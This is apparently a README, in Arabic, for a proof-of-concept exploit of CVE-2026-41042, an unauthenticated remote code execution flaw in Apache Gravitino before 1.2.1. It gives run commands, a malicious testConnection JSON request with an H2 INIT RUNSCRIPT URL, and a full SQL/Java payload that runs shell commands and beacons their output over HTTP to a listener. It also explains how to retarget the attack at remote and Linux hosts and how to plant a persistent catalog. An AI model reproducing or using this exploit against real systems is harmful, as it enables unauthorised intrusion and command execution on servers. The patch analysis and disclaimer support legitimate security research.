
يستغل ثغرة تنفيذ الأوامر عن بُعد (RCE) غير المصادق عليها في Apache Gravitino < 1.2.1 عبر H2 JDBC INIT؛ يستضيف حمولات SQL/Java، وينفّذ الأوامر، ويستخرج المخرجات عبر منارة HTTP.
إثبات مفهوم (PoC) مكتفٍ ذاتيًا ويعتمد على المكتبة القياسية فقط لثغرة CVE-2026-41042: تنفيذ تعليمات برمجية عن بُعد دون مصادقة في Apache Gravitino قبل الإصدار 1.2.1 عبر إعداد اتصال H2 JDBC INIT. لا ترويسات مصادقة، ولا برامج تشغيل إضافية، ولا عمليات تثبيت عبر pip.
python3 poc_cve-2026-41042.py http://127.0.0.1:8090 --metalake test_ml --cmd whoami
يستضيف السكربت حمولة SQL ومنارة إخراج (beacon)، ثم يرسل طلب testConnection، ويطبع مخرجات الأمر مباشرةً على stdout.
أُسندت CVE بتاريخ 2026-07-08، ويُنسب الفضل في اكتشافها إلى Junjie Li (جامعة Xidian). هذا أول PoC عملي منشور للثغرة. PoC من إعداد Akinlabi.
| المتأثر | Apache Gravitino < 1.2.1 (gravitino-catalog-jdbc-common) |
| الإصدار المُصحَّح | 1.2.1 |
| الاستشارة الأمنية | https://lists.apache.org/thread/vdh88wc6j5b38v65ncb111wbbnkf6bvm |
يأتي H2 1.4.200 مضمّنًا في مجلد libs/ الخاص بـ Gravitino بصفته الواجهة الخلفية الافتراضية لمخزن الكيانات، لذا فإن برنامج تشغيل H2 موجود أصلًا في classpath الخاصة بالخادم. لا حاجة لنشر أي برنامج تشغيل إضافي لكي ينجح الاستغلال.
يقبل POST /api/metalakes/{metalake}/catalogs/testConnection (مورد Jersey org.apache.gravitino.server.web.rest.CatalogOperations#testConnection، ويُنتج application/vnd.gravitino.v1+json) طلب CatalogCreateRequest. تُمرَّر قيمة properties.jdbc-url إلى مصنع اتصالات مزوّد الكتالوج دون أي تحقق من برنامج تشغيل JDBC.
يؤدي استخدام برنامج تشغيل H2 المرفق (org.h2.Driver) مع إعداد اتصال INIT الخاص بـ H2 إلى تنفيذ استعلامات SQL عشوائية لحظة الاتصال، بينما يقوم CREATE ALIAS بترجمة أكواد Java عشوائية وتشغيلها على الخادم. لا تتطلب نقطة النهاية أي مصادقة.
المتطلبات: Python 3، المكتبة القياسية فقط.
python3 poc_cve-2026-41042.py <target> [--metalake NAME] [--cmd CMD] [--port PORT]
| الخيار | الافتراضي | الوصف |
|---|---|---|
target | (مطلوب) | خادم Gravitino، مثل http://127.0.0.1:8090 |
--metalake | test_ml | الـ Metalake الذي سيُختبر الكتالوج ضمنه |
--cmd | whoami | الأمر الذي سيُنفَّذ على الهدف |
--port | 9000 | المنفذ المحلي لخادم HTTP الخاص بالحمولة والمنارة |
أمثلة:
# Default run: whoami against the test_ml metalake
python3 poc_cve-2026-41042.py http://127.0.0.1:8090
# Custom command against a named metalake
python3 poc_cve-2026-41042.py http://10.0.0.5:8090 --metalake zeroauth_ml --cmd "ipconfig"
إذا لم يكن الـ Metalake موجودًا، أنشئ واحدًا أولًا (وهو أيضًا دون مصادقة):
curl -X POST http://<target>:8090/api/metalakes \
-H "Content-Type: application/json" \
-d '{"name":"test_ml"}'
127.0.0.1 بمسارين: يقدّم /poc.sql الحمولة المولَّدة، ويلتقط /beacon?out=... مخرجات الأوامر.{
"name": "h2rce",
"type": "RELATIONAL",
"provider": "jdbc-mysql",
"properties": {
"jdbc-url": "jdbc:h2:mem:t3f9a2c1;INIT=RUNSCRIPT FROM 'http://127.0.0.1:9000/poc.sql'",
"jdbc-user": "sa",
"jdbc-password": "",
"jdbc-driver": "org.h2.Driver"
}
}
CREATE ALIAS IF NOT EXISTS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
String l; StringBuilder sb = new StringBuilder();
while ((l = br.readLine()) != null) sb.append(l).append("\n");
br.close();
return sb.toString();
}
$$;
CREATE ALIAS IF NOT EXISTS BEACON AS $$
String beacon(String s) throws java.io.IOException {
java.net.URL u = new java.net.URL("http://127.0.0.1:9000/beacon?out=" + java.net.URLEncoder.encode(s, "UTF-8"));
u.openConnection().getInputStream().close();
return s;
}
$$;
CALL BEACON(SHELLEXEC('whoami'));
ينفّذ SHELLEXEC الأمر ويعيد مخرجاته القياسية كنص؛ بينما يسرّبها BEACON إلى المستمع عبر HTTP؛ ويستقصي السكربت المنارة لمدة تصل إلى 5 ثوانٍ ثم يطبع الناتج.
jdbc-mysql (checkJDBCDriverVersion) بعد تهيئة الاتصال، لذا فإن الخطأ شكلي فقط: لقد نُفّذ INIT بالفعل. مسار الخطأ هو نفسه مسار التنفيذ.يُولَّد اسم قاعدة بيانات عشوائي جديد في الذاكرة لكل تشغيل (secrets.token_hex(6))، لذا لا تستمر أسماء H2 المستعارة بين التشغيلات ويكون كل تنفيذ حتميًا.
يعمل نفس jdbc-url الخبيث أيضًا عبر POST /api/metalakes/{ml}/catalogs، الذي يُرجع HTTP 200 ويحفظ عنوان H2 INIT في إعدادات الكتالوج. أي عملية لاحقة تفرض الاتصال تُطلق التنفيذ وقت التهيئة:
GET /api/metalakes/test_ml/catalogs/catreal/schemas
تمرّ نقطتا الدخول عبر نفس المسار initialize() -> DataSourceUtils.createDataSource، لذا فإن إصلاح 1.2.1 يغطيهما معًا.
أصبح DataSourceUtils.createDataSource يحظر عناوين H2 وبرامج تشغيلها (الالتزامان 84d3de9c7c / 5daabcd0e، تم التحقق منهما في شجرة 1.3.0):
String decodedUrl = recursiveDecode(jdbcConfig.getJdbcUrl().toLowerCase());
if (decodedUrl.startsWith("jdbc:h2")) {
throw new GravitinoRuntimeException("H2 JDBC URL is not allowed in catalog configuration");
}
if (jdbcConfig.getJdbcDriver().toLowerCase().startsWith("org.h2.")) {
throw new GravitinoRuntimeException("H2 JDBC driver is not allowed in catalog configuration");
}
يشغّل recursiveDecode أداة URLDecoder حتى 5 مرات، لذا فإن ترميز البادئة عبر percent-encoding لا يفلت من الفحص. كما يحظر JdbcUrlUtils.validateJdbcConfig (المُستدعى أيضًا من createDBCPDataSource) معلمات MySQL/MariaDB/PostgreSQL المعروفة بأنها غير آمنة (autoDeserialize، allowLoadLocalInfile، socketFactory، وما يشابهها).
اختُبرت محاولات الالتفاف ضد نسخة مطابقة من الفحص مع H2 1.4.200 الفعلي: مسافات بادئة ولاحقة، وترميز مئوي 6 مرات أو أكثر، وحيل في حالة الأحرف والتبويب، وحيل في اللواحق، ومزوّدات غير JDBC. لم يُعثر على أي التفاف نظيف؛ يبدو أن متجه H2 مُصلَّح بثبات في الإصدار 1.2.1.
تصنّف Apache هذه الثغرة على أنها منخفضة الخطورة، مستشهدةً بأن H2 مخصّص للتطوير والاختبار فقط وبأن Gravitino عادةً ما يكون داخليًا. لكن التثبيت الافتراضي يناقض ذلك:
testConnection وcreateCatalog دون مصادقة عندما يكون gravitino.authorization.enable=false، وهو الإعداد الافتراضي0.0.0.0:8090تقدير واقعي لـ CVSS v3.1: نحو 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)، رهنًا بإمكانية الوصول إلى منفذ Gravitino.
127.0.0.1. وهذا يطابق مختبرًا يتشارك فيه المهاجم والهدف نفس المضيف. بالنسبة لهدف بعيد، غيّر مراجع 127.0.0.1 في make_payload() وexploit() إلى عنوان IP الخاص بالمستمع لديك.cmd.exe /c (مختبر Windows). على أهداف Linux، استبدل سطر new String[]{"cmd.exe", "/c", cmd} بـ /bin/sh -c.createCatalog غير مؤتمت في هذا السكربت؛ استخدم الطلب اليدوي أعلاه.لاختبار الأمن المصرّح به ولأغراض البحث فقط. كل تقنية هنا طُوّرت وتحقّق منها في مختبر محلي. توجيه هذه الأداة نحو نظام لا تملكه قد يكون غير قانوني في نطاق سلطتك القضائية.